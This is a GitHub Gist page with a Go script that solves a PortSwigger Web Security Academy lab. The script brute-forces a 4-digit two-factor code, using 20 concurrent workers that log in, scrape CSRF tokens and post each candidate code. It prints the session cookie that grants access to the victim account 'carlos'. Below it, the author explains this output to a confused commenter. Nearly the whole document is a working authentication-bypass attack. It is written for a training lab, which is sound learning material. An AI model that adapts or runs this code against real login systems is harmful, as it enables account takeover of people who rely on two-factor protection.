Last active
March 28, 2024 02:12
-
-
Save ChrisPritchard/87e8342391a9a30f16d91451ce54e8ca to your computer and use it in GitHub Desktop.
A solution script for the portwigger web-sec-academy lab "2FA bypass using a brute-force attack"
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| for this lab https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack | |
| *vastly* faster than using a burp macro with 1 thread and intruder | |
| even if it took an hour to throw together :D | |
| */ | |
| package main | |
| import ( | |
| "errors" | |
| "fmt" | |
| "io/ioutil" | |
| "log" | |
| "net/http" | |
| "strconv" | |
| "strings" | |
| ) | |
| var ( | |
| username = "carlos" | |
| password = "montoya" | |
| mfalen = 4 | |
| mfamin = 1 | |
| mfamax = 9999 | |
| threads = 20 | |
| csrfTag = "<input required type=\"hidden\" name=\"csrf\" value=\"" | |
| laburl = "https://acfa1f1f1ebe64c3801822390043003e.web-security-academy.net" // should NOT end with a / | |
| client = &http.Client{ | |
| CheckRedirect: func(req *http.Request, via []*http.Request) error { | |
| return http.ErrUseLastResponse | |
| }, | |
| } | |
| finished = false | |
| ) | |
| func main() { | |
| log.SetFlags(0) | |
| done := make(chan bool) | |
| for mfa := 0; mfa <= mfamax && !finished; mfa += threads { | |
| for i := mfa; i < mfa+threads; i++ { | |
| go flow(padCode(i), done) | |
| } | |
| for i := mfa; i < mfa+threads; i++ { | |
| <-done | |
| } | |
| } | |
| log.Println("done. set the value above as your session cookie value, then refresh") | |
| } | |
| func padCode(code int) string { | |
| mfa := strconv.Itoa(code) | |
| for len(mfa) < mfalen { | |
| mfa = "0" + mfa | |
| } | |
| return mfa | |
| } | |
| func flow(code string, done chan bool) { | |
| cookie, csrf, err := getLogin() | |
| if err != nil { | |
| log.Fatalln(err) | |
| } | |
| cookie, err = postLogin(cookie, csrf) | |
| if err != nil { | |
| log.Fatalln(err) | |
| } | |
| csrf, err = getLogin2(cookie) | |
| if err != nil { | |
| log.Fatalln(err) | |
| } | |
| successCookie, err := postLogin2(cookie, csrf, code) | |
| if err != nil { | |
| log.Fatalln(err) | |
| } | |
| if successCookie != "" { | |
| log.Println(successCookie) | |
| finished = true | |
| } | |
| done <- true | |
| } | |
| func getLogin() (cookie, csrf string, err error) { | |
| resp, err := http.Get(laburl + "/login") | |
| if err != nil { | |
| return "", "", err | |
| } | |
| if resp.StatusCode != 200 { | |
| return "", "", fmt.Errorf("get login response was not 200 (was %d)", resp.StatusCode) | |
| } | |
| cookieSet := resp.Header.Get("Set-Cookie") | |
| cookie = cookieSet[:40] | |
| bodyBytes, err := ioutil.ReadAll(resp.Body) | |
| if err != nil { | |
| return "", "", err | |
| } | |
| html := string(bodyBytes) | |
| csrfStart := strings.Index(html, csrfTag) | |
| if csrfStart == -1 { | |
| return "", "", errors.New("can't find csrf") | |
| } | |
| csrfStart += len(csrfTag) | |
| csrfEnd := csrfStart + 32 | |
| csrf = html[csrfStart:csrfEnd] | |
| return cookie, csrf, nil | |
| } | |
| func postLogin(cookie, csrf string) (nextCookie string, err error) { | |
| data := strings.NewReader(fmt.Sprintf("csrf=%s&username=%s&password=%s", csrf, username, password)) | |
| req, _ := http.NewRequest(http.MethodPost, laburl+"/login", data) | |
| req.Header.Add("Cookie", cookie) | |
| resp, err := client.Do(req) | |
| if err != nil { | |
| return "", err | |
| } | |
| if resp.StatusCode != 302 { | |
| return "", fmt.Errorf("post login response was not 302 (was %d)", resp.StatusCode) | |
| } | |
| cookieSet := resp.Header.Get("Set-Cookie") | |
| cookie = cookieSet[:40] | |
| return cookie, nil | |
| } | |
| func getLogin2(cookie string) (csrf string, err error) { | |
| req, _ := http.NewRequest(http.MethodGet, laburl+"/login2", nil) | |
| req.Header.Add("Cookie", cookie) | |
| resp, err := client.Do(req) | |
| if err != nil { | |
| return "", err | |
| } | |
| if resp.StatusCode != 200 { | |
| return "", fmt.Errorf("get login2 response was not 200 (was %d)", resp.StatusCode) | |
| } | |
| bodyBytes, err := ioutil.ReadAll(resp.Body) | |
| if err != nil { | |
| return "", err | |
| } | |
| html := string(bodyBytes) | |
| csrfStart := strings.Index(html, csrfTag) | |
| if csrfStart == -1 { | |
| return "", errors.New("can't find csrf") | |
| } | |
| csrfStart += len(csrfTag) | |
| csrfEnd := csrfStart + 32 | |
| csrf = html[csrfStart:csrfEnd] | |
| return csrf, nil | |
| } | |
| func postLogin2(cookie, csrf, code string) (successCookie string, err error) { | |
| data := strings.NewReader(fmt.Sprintf("csrf=%s&mfa-code=%s", csrf, code)) | |
| req, _ := http.NewRequest(http.MethodPost, laburl+"/login2", data) | |
| req.Header.Add("Cookie", cookie) | |
| resp, err := client.Do(req) | |
| if err != nil { | |
| return "", err | |
| } | |
| if resp.StatusCode != 302 { | |
| return "", nil | |
| } | |
| cookieSet := resp.Header.Get("Set-Cookie") | |
| cookie = cookieSet[8:40] | |
| return cookie, nil | |
| } |
Author
this doesn't return a csrf value, it returns the cookie value that when set grants you access to carlos' account
ill update the final message to make that more explicit
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hello, so what I am supposed to do with the csrf that returns to me?